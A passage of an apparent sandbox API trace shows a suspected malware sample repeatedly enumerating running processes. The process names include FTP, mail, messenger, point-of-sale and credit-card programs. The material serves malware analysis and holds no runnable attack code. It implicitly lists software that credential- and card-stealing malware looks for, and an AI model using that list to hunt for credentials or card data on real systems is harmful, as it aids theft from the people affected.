th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0279.716] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0279.717] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0279.719] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0279.720] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0279.722] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0279.723] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0279.725] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0279.726] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0279.728] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0279.730] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0279.731] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0279.732] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0279.733] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0279.735] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0279.736] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0279.747] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0279.748] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0279.749] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0279.751] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0279.752] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0279.788] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0279.790] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0279.792] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0279.793] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0279.795] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0279.797] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0279.798] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0279.801] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0279.802] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0279.804] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0279.806] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0279.807] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0279.809] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0279.811] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0279.813] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0279.814] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0279.816] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0279.818] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0279.820] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0279.822] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0279.959] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0279.961] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0279.962] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0279.964] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0279.966] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0279.967] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0279.969] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0279.971] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0279.972] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0279.974] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0279.976] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0279.977] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0279.979] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0279.980] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0279.982] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0279.984] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0279.985] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0279.987] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0279.989] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0279.990] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0279.992] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0279.993] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0279.995] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0279.996] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0279.998] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0279.999] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0280.001] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0280.053] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0280.055] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0280.056] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0280.058] CloseHandle (hObject=0x344) returned 1 [0280.058] Sleep (dwMilliseconds=0x64) [0280.105] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0280.117] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0280.118] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0280.120] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0280.121] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0280.122] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0280.124] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0280.125] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0280.127] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0280.128] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0280.130] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.131] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.132] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0280.134] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.136] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, 